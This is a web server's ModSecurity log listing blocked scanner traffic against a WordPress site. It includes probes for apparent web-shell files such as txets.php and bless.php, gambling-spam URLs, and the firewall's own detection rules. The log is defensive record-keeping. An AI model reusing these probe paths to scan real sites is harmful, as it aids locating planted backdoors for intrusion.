[Mon Apr 06 03:35:23.866879 2026] [:error] [pid 35687:tid 35738] [client 93.158.213.25:50366] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adK5e53LtDozV0i8BittOgAAAE8"]
[Mon Apr 06 03:35:27.002279 2026] [:error] [pid 35686:tid 35708] [client 93.158.213.25:34594] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adK5f8MKdea6oORd2fwIxwAAAAw"]
[Mon Apr 06 03:35:29.851560 2026] [:error] [pid 35786:tid 35806] [client 93.158.213.25:34610] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adK5gWgkfCKTaLhwaKTD6gAAAM0"]
[Mon Apr 06 03:35:32.714118 2026] [:error] [pid 35786:tid 35816] [client 93.158.213.25:34612] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adK5hGgkfCKTaLhwaKTD_QAAANc"]
[Mon Apr 06 03:35:35.741186 2026] [:error] [pid 35786:tid 35809] [client 93.158.213.25:34624] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adK5h2gkfCKTaLhwaKTEEQAAANA"]
[Mon Apr 06 08:25:44.699907 2026] [:error] [pid 35786:tid 35816] [client 43.157.38.131:36164] [client 43.157.38.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adL9iGgkfCKTaLhwaKR0mAAAANc"]
[Mon Apr 06 12:28:36.778115 2026] [:error] [pid 35686:tid 35720] [client 43.130.131.18:60834] [client 43.130.131.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adM2dMMKdea6oORd2fzpngAAABg"]
[Mon Apr 06 13:32:25.542997 2026] [:error] [pid 38562:tid 38574] [client 43.159.138.217:46884] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adNFaaeD6Ohe6wzRuy65VwAAAUk"]
[Mon Apr 06 17:22:49.382503 2026] [:error] [pid 35687:tid 35730] [client 145.239.69.153:39704] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "adN7aZ3LtDozV0i8BitCcgAAAEc"]
[Mon Apr 06 17:22:51.009065 2026] [:error] [pid 35687:tid 35735] [client 145.239.69.153:38246] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adN7a53LtDozV0i8BitCdwAAAEw"]
[Mon Apr 06 17:22:53.398587 2026] [:error] [pid 35686:tid 35711] [client 145.239.69.153:54398] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adN7bcMKdea6oORd2fyVdAAAAA8"]
[Mon Apr 06 17:22:53.725088 2026] [:error] [pid 35686:tid 35705] [client 145.239.69.153:54408] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "adN7bcMKdea6oORd2fyVegAAAAk"]
[Mon Apr 06 17:22:55.885652 2026] [:error] [pid 35786:tid 35801] [client 145.239.69.153:54418] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adN7b2gkfCKTaLhwaKQC2wAAAMg"]
[Mon Apr 06 17:22:58.305369 2026] [:error] [pid 38562:tid 38574] [client 145.239.69.153:54420] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adN7cqeD6Ohe6wzRuy5ASAAAAUk"]
[Mon Apr 06 17:23:00.862968 2026] [:error] [pid 35686:tid 35717] [client 145.239.69.153:53866] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adN7dMMKdea6oORd2fyVoQAAABU"]
[Mon Apr 06 17:23:03.394670 2026] [:error] [pid 35786:tid 35799] [client 145.239.69.153:53870] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adN7d2gkfCKTaLhwaKQC5QAAAMY"]
[Mon Apr 06 17:23:05.812941 2026] [:error] [pid 38562:tid 38581] [client 145.239.69.153:53880] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adN7eaeD6Ohe6wzRuy5AXQAAAVA"]
[Mon Apr 06 17:23:25.328717 2026] [:error] [pid 35686:tid 35708] [client 170.106.192.208:60086] [client 170.106.192.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adN7jcMKdea6oORd2fyV4QAAAAw"]
[Mon Apr 06 18:10:51.551744 2026] [:error] [pid 38562:tid 38573] [client 43.166.136.153:37132] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adOGq6eD6Ohe6wzRuy5ZagAAAUg"]
[Mon Apr 06 19:22:51.635486 2026] [:error] [pid 35688:tid 35770] [client 62.197.144.85:46764] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adOXi-Z85qg4jLsRpQyGIgAAAJQ"]
[Mon Apr 06 19:22:52.474848 2026] [:error] [pid 10280:tid 10298] [client 62.197.144.85:46770] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adOXjF8QUJkf8g-BFfPbXAAAAc8"]
[Mon Apr 06 19:22:53.314485 2026] [:error] [pid 9442:tid 9466] [client 62.197.144.85:46780] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adOXjUPsNnAJTnmz6sac1wAAARY"]
[Mon Apr 06 19:22:54.158251 2026] [:error] [pid 38562:tid 38577] [client 62.197.144.85:46794] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adOXjqeD6Ohe6wzRuy5w3AAAAUw"]
[Mon Apr 06 19:22:54.978511 2026] [:error] [pid 9442:tid 9446] [client 62.197.144.85:46820] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adOXjkPsNnAJTnmz6sac2wAAAQI"]
[Mon Apr 06 19:22:57.865912 2026] [:error] [pid 9442:tid 9457] [client 62.197.144.85:40706] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adOXkUPsNnAJTnmz6sac9QAAAQ0"]
[Mon Apr 06 19:22:58.714419 2026] [:error] [pid 35686:tid 35696] [client 62.197.144.85:40762] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adOXksMKdea6oORd2fzJMwAAAAA"]
[Mon Apr 06 19:22:59.539951 2026] [:error] [pid 35686:tid 35715] [client 62.197.144.85:40768] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adOXk8MKdea6oORd2fzJNQAAABM"]
[Mon Apr 06 19:23:00.392271 2026] [:error] [pid 10280:tid 10286] [client 62.197.144.85:40774] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adOXlF8QUJkf8g-BFfPbbQAAAcM"]
[Mon Apr 06 19:23:01.227424 2026] [:error] [pid 35688:tid 35774] [client 62.197.144.85:40794] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adOXleZ85qg4jLsRpQyGUAAAAJg"]
[Mon Apr 06 20:44:49.726343 2026] [:error] [pid 35688:tid 35755] [client 1.15.52.154:32832] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adOqweZ85qg4jLsRpQy--QAAAIU"]
[Mon Apr 06 22:28:59.891414 2026] [:error] [pid 35786:tid 35801] [client 43.157.62.101:57440] [client 43.157.62.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adPDK2gkfCKTaLhwaKQscgAAAMg"]
[Tue Apr 07 03:14:26.641516 2026] [:error] [pid 39748:tid 39763] [client 43.167.157.80:51886] [client 43.167.157.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adQGEigic31vPbqmSIrtZwAAAMg"]
[Tue Apr 07 03:18:44.928803 2026] [:error] [pid 55003:tid 55016] [client 182.42.110.255:36476] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adQHFAiMyAbcUkWpJeA_AwAAAQk"]
[Tue Apr 07 07:13:38.646674 2026] [:error] [pid 37598:tid 37665] [client 43.166.246.180:44202] [client 43.166.246.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adQ-Iu9g7q_cV2WhPaykNwAAAIQ"]
[Tue Apr 07 08:03:35.715510 2026] [:error] [pid 37597:tid 37640] [client 194.26.192.92:59318] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "adRJ1w6uAY0QAy-8EEJ7FQAAAEY"]
[Tue Apr 07 08:03:36.198769 2026] [:error] [pid 37598:tid 37682] [client 194.26.192.92:59444] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "adRJ2O9g7q_cV2WhPay6zAAAAJU"]
[Tue Apr 07 08:03:36.684098 2026] [:error] [pid 37598:tid 37663] [client 194.26.192.92:59556] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "adRJ2O9g7q_cV2WhPay6zwAAAII"]
[Tue Apr 07 08:03:37.671930 2026] [:error] [pid 37598:tid 37683] [client 194.26.192.92:59728] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/txets.php"] [unique_id "adRJ2e9g7q_cV2WhPay60wAAAJY"]
[Tue Apr 07 08:13:50.555599 2026] [:error] [pid 37719:tid 37722] [client 43.135.133.241:54278] [client 43.135.133.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adRMPk09Xv52u2xXGLCFSQAAAMA"]
[Tue Apr 07 10:39:51.063416 2026] [:error] [pid 37719:tid 37742] [client 51.75.129.164:60954] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adRud009Xv52u2xXGLDkGAAAANQ"]
[Tue Apr 07 10:39:53.702676 2026] [:error] [pid 12948:tid 12956] [client 51.75.129.164:35750] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adRuecbeSPAN8LvMqsYmzQAAAQU"]
[Tue Apr 07 10:39:56.231908 2026] [:error] [pid 37598:tid 37679] [client 51.75.129.164:35760] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adRufO9g7q_cV2WhPawKgQAAAJI"]
[Tue Apr 07 10:39:58.858301 2026] [:error] [pid 37719:tid 37728] [client 51.75.129.164:46752] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adRufk09Xv52u2xXGLDkJAAAAMY"]
[Tue Apr 07 10:40:01.360082 2026] [:error] [pid 12948:tid 12972] [client 51.75.129.164:46760] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adRugcbeSPAN8LvMqsYm5QAAARU"]
[Tue Apr 07 10:40:03.855765 2026] [:error] [pid 12948:tid 12964] [client 51.75.129.164:46764] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adRug8beSPAN8LvMqsYm7AAAAQ0"]
[Tue Apr 07 10:40:06.373656 2026] [:error] [pid 37719:tid 37734] [client 51.75.129.164:46770] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adRuhk09Xv52u2xXGLDkOgAAAMw"]
[Tue Apr 07 10:56:43.865798 2026] [:error] [pid 37598:tid 37671] [client 217.216.72.68:50285] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adRya-9g7q_cV2WhPawSyQAAAIo"]
[Tue Apr 07 10:56:47.396791 2026] [:error] [pid 12948:tid 12951] [client 217.216.72.68:53530] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/"] [unique_id "adRyb8beSPAN8LvMqsY2dQAAAQA"]
[Tue Apr 07 10:56:53.631994 2026] [:error] [pid 37598:tid 37666] [client 217.216.72.68:53204] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/readme.html"] [unique_id "adRyde9g7q_cV2WhPawTDQAAAIU"]
[Tue Apr 07 10:56:53.949974 2026] [:error] [pid 37719:tid 37745] [client 217.216.72.68:50190] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "adRydU09Xv52u2xXGLDvDQAAANc"]
[Tue Apr 07 10:57:02.906060 2026] [:error] [pid 12948:tid 12954] [client 217.216.72.68:54973] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adRyfsbeSPAN8LvMqsY3AwAAAQM"]
